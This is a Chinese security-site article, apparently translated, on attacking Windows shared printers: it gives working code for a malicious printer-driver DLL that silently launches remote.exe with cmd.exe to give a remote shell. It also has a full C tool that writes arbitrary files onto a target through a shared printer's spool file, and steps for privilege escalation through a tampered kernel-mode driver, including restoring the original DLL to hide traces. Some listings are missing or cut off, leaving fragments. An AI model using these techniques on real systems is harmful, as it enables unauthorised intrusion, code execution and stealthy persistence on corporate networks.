首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
企业网络的盲点:利用打印机进行入侵
来源:Hack01@Live!cn 作者:Czy 发布时间:2010-01-21  

Copyright (c) 2010 Czy Invicta <Hack01@Live!cn>
All rights reserved.

在每一个公司的网络中,都会存在基于Microsoft Windows的打印机连接到网络上进行共享,因此可用于许多员工在同一时间使用打印服务。本文介绍如何滥用此功能进行本地权限提升或进行打印机服务器上的远程入侵——取决于命令行访问目标系统。

Windows打印机驱动程序已经有一个漫长而有趣的历史了,有很多完全不同的打印机制造商如何执行打印机驱动程序。但是,为了防止每个打印机制造商的要推倒重来,制定了本地驱动程序。Microsoft提供了通用打印机驱动程序,可以自定义供应商和可扩展的打印机配置文件(这些驱动是微型驱动)。还为驱动程序开发相关页面描述语言(打印机命令语言PostScript),但确定是在内核模式还是用户模式实施驱动程序是至关重要的:截至到Windows NT 4.0,它是唯一可在内核模式下运行打印机驱动程序,自从Windows 2000以后,同时在用户模式下都可以执行。下表给出了概述不同的可能性。

操作系统 内核模式
(第二版打印机驱动程序)
用户模式
(第三版打印机驱动程序)
Windows NT 否 
Windows 2000、2003、XP
Windows Vista

用户模式与内核模式的打印机驱动程序

用户模式打印机驱动程序很容易理解:一个内核模式错误会导致你的系统出现蓝屏并崩溃,而在用户模式下,您只需要重新启动打印后台处理程序(Spoolsv.exe),在用户模式下进行软件开发和调试简单得多。

为了让应用程序使用一台打印机,一个不同的组成部分就需要大量的互动。例如一个文本文件,记事本程序必须使用本地已安装的打印机,记事本调用各种GDI(图形设备接口)的Win32功能的API。 GDI的渲染引擎和打印机驱动程序的打印数据,将其转发到打印后台处理程序中。该打印后台处理程序的主要任务是后台处理打印作业,进一步转换和选择将数据发送到打印机。
假使一个本地已安装的打印机使用的是旧内核模式的驱动程序,过程如下所示:


内核的打印作业处理模式

如果网络打印机替代本地打印机,客户端后台处理打印作业将转发到服务器端的打印后台处理程序。


本地权限提升……内核模式的打印机驱动程序

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果我们想提升本地系统上的权限,我们为什么不只是安装修改过的内核模式打印机驱动程序运行任意命令呢?嗯!第一,它不允许普通用户安装打印机驱动程序(这要求高级权限加载和卸载设备驱动程序(SeLoadDriver))。第二,内核模式打印机驱动程序的命令是有限的。不过,下面我们将看到如何挑战并解决这一问题。

在这个例子中,我们假设互动(但有限)访问Windows XP SP3的客户端系统(目标系统)上,我们要提高我们的权限。诀窍是安装在这个系统中添加网络打印机的打印机驱动程序的一部分。因此,我们需要第二个系统(攻击者系统),我们安装和共享恶意本地打印机。要启动驱动程序,从目标系统连接到攻击者的系统上安装共享打印机必须建立。 Internet打印(HTTP打印机只来自于Web浏览器80端口的TCP连接)不幸的是不是一个选择,因为在这种情况下打印机驱动程序的安装需要管理权限(见[1])。因此,只有传统方式映射到共享打印机才可以使用,并TCP连接端口139(NetBIOS会话服务)或445(SMB)是必需的。如果这些要求得到满足,那么可以实现一下特权:

·攻击者系统:操纵内核模式打印机驱动程序。现在,这台打印机是共享的,以便它可以被反复使用网络-同样来自于目标系统。
·目标系统:作为一个正常登录的用户帐户,打印机驱动程序的操作自动复制攻击者系统到目标系统。
·目标系统:现在所有需要执行的是已在恶意内核模式打印机驱动程序内置的命令启动打印作业。

不幸的是,在内核模式中只能执行某些GDI函数,这部分检查调用用户的权限。
例如,函数EngMapFile可以用来创建或读取文件-任意文件访问,但这是不可能的,因为函数检查NTFS访问权限。令人惊讶的是,这一检查不会产生函数EngDeleteFile,它有可能已经删除任意文件。但是,为了执行任意命令,有必要加载一个内核模式的DLL(进一步的资料[2]),来自于一个所谓的函数EngLoadImage相关的文件。此相关的文件(我们选择的文件名sample.dll)需要指定给打印机,这可能看起来像清单1的.inf文件。

上面的例子是基于Windows驱动程序工具包MSPLOT的.inf文件。此文件包含打印机上的所有必要的信息条目,更多的信息可以从[4]找到。
该代码在打印机驱动程序DLL相关的一部分如清单2所示。

这个内核模式DLL可以包含任何的功能。下面的示例代码展示,该文件rsvp.exe如何覆盖SampleFunction函数。这最终导致权限提升升,因为Windows服务的QoS RSVP协议可以启动一个普通用户,并作为本地系统运行(在这个例子中,你可能要迅速启动Windows服务,因为Windows文件保护(见[7] )将恢复原始文件)(见清单3)。


ZwClose(hFileHandle);
return 0;
}
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath) {
return STATUS_SUCCESS;
}

当然,还有许多其他的可能性永久提升您的权限,你可以在内核模式下执行任意命令。然而,在上述的例子中,它不常用,因此不会触发反病毒软件的警报。

不幸的是,无法使用内核模式打印机驱动程序,如上表展示。因此,下面的文章部分将展示如何使用一个用户模式打印机驱动程序提升权限。


用户模式打印机驱动程序

~~~~~~~~~~~~~~~~~~~~~~~~

进程Spoolsv.exe是后台打印程序的主要组成部分,该帐户运行在用户模式下的本地系统。这一过程也加载打印机驱动程序DLL。其实,所有的代码已在此DLL的DllMain中插入并在本地系统运行,只需打印机驱动程序建立连接或启动打印作业。

而且打印机驱动程序的执行手段很多,我们将使用的打印机驱动程序为例,它是与Windows驱动程序工具包运行。在子目录src/print中可以找到一个现成的大量源代码,下面的修改
足以作为一个有用的工具的PostScript水印样本,使本地系统为您执行任意命令。

接着对src/print/oemdll/watermark/wmarkps/dllentry.cpp添加函数ShellExecute和所需的头文件shellapi.h,如下所示(参见清单4)。

该文件其余的均保持不变。为了能够连接DLL,更改src/print/oemdll/watermark/wmarkps/sources(源文件指定需要建立组件的文件)(见清单5)。

同样,在源文件的其余部分可以保持不变。

此操作打印机驱动程序的主要优点是,它是在用户模式下运行。正因为如此,也可以使用Windows Server 2003、Windows Vista和Windows Server 2008。唯一的缺点是,某些先决条件必须得到满足,以便操纵的打印机驱动程序安装的一部分连接到共享打印机。其中一个重要的设置是防止用户安装打印机驱动程序,如下图所示。

设置打印机驱动程序安装限制

此安全设置禁止一个标准的用户安装网络打印机的打印机驱动程序的一部分。下表展示了不同版本操作系统的默认设置。

操作系统 阻止用户安装打印机驱动程序
Windows XP 已停用
Windows Vista 已停用
Windows 2003 已启用
Windows 2008 已启用

打印机驱动程序默认安装设置

显然,服务器操作系统打印机驱动程序的安装更受限制。如果您尝试连接到共享打印机(这需要一个打印机驱动程序的安装),那么此尝试将失败,出现以下错误信息。

已启动限制

原则上,打印机驱动程序的安装作为添加网络打印机的一部分,在Windows Vista和Windows Server 2008最初的立场也不是非常令人喜悦的。这些操作系统上的主要障碍是,第一次需要添驱动程序,这一行动需要管理权限。然后尝试添加网络打印机,任何打印机驱动程序已在本地驱动器将存储失败,如下所示。

驱动程序不存在

幸运的是,在Windows Vista和Windows Server 2008可以安装,分别由一个受信任的签字人签署的,即使没有管理权限的驱动程序(见[5])。这意味着,上述问题是可以解决的,一旦你从商业证书颁发机构买了一个代码签名证书(其中Root CA必须在系统中运行)(可以说,如果您使用的是由受信任的签名,你也可以尝试仅在本地增加了一个驱动程序不同的设备,但只是一台打印机。)。出人意料的是,安装程序不仅可以在Windows Vista上正常运行,也可以在Windows Server 2008中运行。您通常期望防止用户安装打印机驱动程序会阻止此用户。

此外,如果系统属于一个域,还可以进一步对打印设置。默认情况下(Windows XP、Windows Vista、Windows Server 2003和Windows Server 2008)这些设置只允许您连接到共享打印机。在Windows Vista和Windows Server 2008,你有更多的可能性,以控制各种警告和用户帐户控制功能,如下面的截图所示。


Windows Server 2003的打印设置对话框

 


Windows Server 2008的打印设置对话框

总之,我们得出如下结论:如果目标系统是域的一部分,你只能控制另一个系统以提升您的权限。在Windows XP中,这需要获得所有管理权限,但在Windows Vista和Windows Server 2008中,你需要一个签名的驱动程序软件包。

只有Windows Server 2003不提供这项操作——防止用户安装未经管理员授权的打印机。


获得一个远程Shell

~~~~~~~~~~~~~~~~~~~

有多种方式可以访问远程目标系统并获得管理权限。最流行的是安装在目标系统上的Windows服务或添加一个计划任务(at)。
但是,假如只有一个用户Apple拥有权限,那么这种情形将变得有点困难(虽然在一个典型的Windows XPSP3的DCOM服务中重新配置仍然有效)。此文章介绍了一种更有效的解决方案。
在这个例子中,我们假设用户Apple访问一个远程目标系统。除此之外,攻击者必须获得目标系统的139/445端口,但这并不需要目录或打印机已经共享。
首先获取这一目标系统共享目录中包含的打印机驱动程序(通常是C:\WINDOWS\system32\spool\drivers)。
这可以使用GUI(Compmgmt.msc)或Win32-API(NetShareAdd())。这种情况是能够实现的,因为Apple用户权限给出了目标系统上的目录,因此,也可以远程共享。之后,此目录中的打印机驱动程序就可以修改。另外,Apple用户具有所有这些文件的写操作权限。我们现在有哪些可能性呢?首先,我们复制标准Microsoft工具remote.exe(这可从[7]得到)到目标系统以便执行它(获得命令行访问)。第二,下一次有人打印东西时,打印机驱动程序必须在目标系统上执行remote.exe。但是,我们没有等这种情况发生,因为Apple用户的权限同样允许我们能够远程共享打印机,以便打印自己的东西。还有很好的GUI可用于:rundll32
printui.dll,PrintUIEntry /p /n \machine\printer(如果这种可能性是未知的,可以查看帮助文件,很容易找到非常有趣的功能)。如果你不想开始在您的打印作业,或等下一个本地登录的用户启动一个打印作业,您的命令会以他的用户权限执行——这可以是一个域,你设法修改的打印机驱动程序客户端系统域管理员。为了使攻击能够隐蔽,可以恢复原来的DLL。
幸运的是,你不必创建每个打印机驱动程序和新的DLL。它只创建三个通用打印机驱动程序和任意OEM DLL。DLL用于启动remote.exe文件也相当简单(见清单6)。

清单 6. 由远程打印机驱动程序执行“remote.exe”
#include <precomp.h>
#include <shellapi.h>
BOOL __stdcall DllMain(HANDLE hModule, ULONG ulReason, PCONTEXT pContext ) {
ShellExecute(NULL, TEXT("open"), TEXT("C:\\WINDOWS\\System32\\spool\\
DRIVERS\\W32X86\\3\\remote.exe"), TEXT("/S \"C:\\Windows\\
system32\\cmd.exe\" myPipe"), NULL, SW_HIDE);
return TRUE;
}
BOOL __stdcall DrvQueryDriverInfo(DWORD dwMode,PVOID pBuffer, DWORD cbBuf, PDWORD
pcbNeeded) {
return TRUE;
}
VOID __stdcall DrvDisableDriver() {
}

从攻击者的系统中执行“remote.exe /C <目标> 管道”即可连接到远程Shell。然而,它的主要缺点是无法执行所有的网络命令(因为开始的目标系统上不涉及对任何目标系统图形用户界面新的打印作业)。以下清单列出了几个GUI DLL:

- PS5UI.DLL(通用PostScript打印机接口DLL)
- Unidrvui.dll的(通用打印机驱动程序接口DLL)
- PLOTUI.DLL(HP-GL/2通用接口DLL)
- HPVUI50.DLL商(惠普OEM DLL)
- CQ70SUI.DLL商(康柏OEM DLL)


使用共享打印机复制数据到目标系统
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

其实,文章的此部分相当简单:
如果远程系统上的打印机已共享,你有足够的理由可以访问这台打印机上打印文件,你可以复制任意数据到这个系统。在这个例子中,我们假设基于Windows的目标系统(名称mytarget)已安装并共享本地打印机。此外,我们假设攻击者系统(名称myattacker)共享该打印机,从myattacker进入mytarget,必须考虑到Windows域典型的情况。

现在关键的问题是要创建一个简单的Windows API。下面列出必须运行在myattacker的小程序。这将建立一个关于mytarget共享打印机打印作业,更改后台打印文件(本地和远程打印文件)的位置并复制本地任意文件到远程打印文件。

该程序最重要的功能之一是函数StartDocPrinter调用(下面程序调用的函数writeToPrinter())。它接受一个指针类型的结构DOC_INFO_1。这个结构之外的其他信息名包含打印作业,参数pOutputFile设置为NULL:

typedef struct _DOC_INFO_1 {
 LPTSTR pDocName;
 LPTSTR pOutputFile;
 LPTSTR pDatatype;
} DOC_INFO_1;

下一步是处理输出文件所使用的函数GetSpoolFileHandle,使用这个您就可以复制任意数据到mytarget。

示例代码请看清单7。

清单 7. 如何通过共享打印机将文件复制到远程系统
#include "stdafx.h"
LPTSTR sourceFileName;
LPTSTR targetFileName;
LPTSTR target;
int _tmain(int argc, _TCHAR* argv[])
{
if(argc!=7) {
wprintf_s(_T("\nUsage:\n%s -t target -s localFileNameFullPath -d
remoteFileNameFullPath\nExample: %s -t
\\\\target\\Printer1 -s C:\\test.exe -d C:\\Windows\\Tasks\\test.exe\n"),argv[0],argv[0]);
return 0;
}
for (int i=1;i<argc;i++) {
if ( (wcslen(argv[i])==2) &&
(argv[i][0]=='-') ) {
switch (argv[i][1]) {
case 'd': targetFileNa
me=argv[i+1]; i=i++; break;
case 's': sourceFileNa
me=argv[i+1]; i=i++; break;
case 't':
target=argv[i+1]; i=i++; break;
default: wprintf_s(_T("Unknown parameter: %s\n"),argv[i]);
return 0;
}
}
}
copyFileToPrintServer(target);
return 1;
}
int copyFileToPrintServer(LPTSTR pName) {
PRINTER_DEFAULTS* pDef = new PRINTER_DEFAULTS;
pDef->pDatatype = NULL; //_T("RAW");
pDef->pDevMode = NULL;
HANDLE hPrinter;
// 你要调用它两次,第一次只是本地的。
pDef->DesiredAccess = PRINTER_ACCESS_USE;
// 第一次调用……
if(!OpenPrinter(pName,&hPrinter,pDef)) {
doFormatMessage(GetLastError());
return 0;
}
writeToPrinter(hPrinter);
// 第二次调用……
OpenPrinter(pName,&hPrinter,pDef);
writeToPrinter(hPrinter);
ClosePrinter(hPrinter);
return 1;
}
int writeToPrinter(HANDLE hPrinter) {
DOC_INFO_1* docInfo1 = new DOC_INFO_1;
docInfo1->pDocName = _T("pwn3d");
docInfo1->pOutputFile = targetFileName;
docInfo1->pDatatype = NULL;
if(!StartDocPrinter(hPrinter,1,(LPBYTE)docInfo1)) {
doFormatMessage(GetLastError());
return 0;
}
HANDLE hFile=GetSpoolFileHandle(hPrinter);
if(hFile==INVALID_HANDLE_VALUE) {
doFormatMessage(GetLastError());
return 0;
}
DWORD numb = 0;
numb = copyFileToHandle(hFile);
if(INVALID_HANDLE_VALUE == (hFile=CommitSpoolData(hPrinter,hFile,numb))) {
doFormatMessage(GetLastError());
return 0;
}
if(!CloseSpoolFileHandle(hPrinter,hFile)) {
doFormatMessage(GetLastError());
return 0;
}
return 1;
}
DWORD copyFileToHandle(HANDLE hFile) {
HANDLE readHandle;
int iFileLength;
PBYTE pBuffer;
DWORD dwBytesRead,dwBytesWritten;
if(INVALID_HANDLE_VALUE==(readHandle=CreateFile(sourceFileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL)))
return 0;
iFileLength = GetFileSize(readHandle,NULL);
pBuffer = (PBYTE)malloc(iFileLength);
ReadFile(readHandle,pBuffer,iFileLength,&dwBytesRead,NULL);
CloseHandle(readHandle);
WriteFile(hFile,pBuffer,iFileLength,&dwBytesWritten,NULL);
return dwBytesWritten;
}
void doFormatMessage( unsigned int dwLastErr ) {
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_IGNORE_INSERTS |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwLastErr,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
(LPTSTR) &lpMsgBuf,
0,
NULL );
wprintf_s(TEXT("ErrorCode %i: %s"), dwLastErr, lpMsgBuf);
LocalFree(lpMsgBuf);
}

该用户帐户远程访问mytarget并使用共享打印机,在targetFileName指定路径中具有写操作(NTFS)权限(见上面的示例代码)。在Windows XP SP3中的一个文件系统位置C:\Windows\Tasks(不要弄错了——我们不能在这里创建一个新任务,因为它不可能添加所需的注册表条目。该目录仅用于存储。),这个目录授予用户写操作(你会发现所有Windows系统相似的路径,例如:在Windows Server 2008,路径C:\Windows\system32\Tasks,标准用户帐户仍然可执行写操作)。而且,正如前面提到的函数writeToPrinter,否则,只会被创建在myattacker本地。

打印数据是在客户端系统的后台(增强型元文件-EMF)。这个后台打印文件发送到目标系统上,它转换成一个不同格式的文件打印程序,由打印机解译。但是,如果后台打印关闭,这两个文件仍会创建。此部分已经到了尾声,更详细的分析,似乎需要一个完整的论述。如果你有疑问,请把信息发送到我的Email(Hack01[at]Live.cn)中。


尾声
~~~~~~~~~~

如果访问权限有限,就可以考虑利用本地或远程系统的共享打印机的某些功能,它们可能被滥用,以提升自己的权限,将文件复制到一个远程系统,甚至获得一个远程shell——所有脆弱性的服务。我在此文章中所描述的场景,正是一个典型的企业网络的情形:用户打印网络上的文件,必须属于域用户,他们很少有机会获得所有系统的域帐户。好吧!现在为止,你是否已经留意到了公司所使用的网络打印服务和Microsoft Windows附带的打印功能?


 
[推荐] [评论(1条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·CityShop v5.5.8 sql injection
·MYSQL中BENCHMARK函数的利用
·详解cisco路由入侵艺术
·高级Mysql攻击技术(翻译blackhat
·浅析跨站请求伪造
·攻击OSPF:通过链路状态路由协议
·让LOOP防下载形同虚设直接拿shel
·内网渗透案例
·突破XSS字符数量限制执行任意JS
·数字战场:VPN隧道攻击
·无线网络渗透之旅
·Discuz! v7.2 注入漏洞分析与利
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved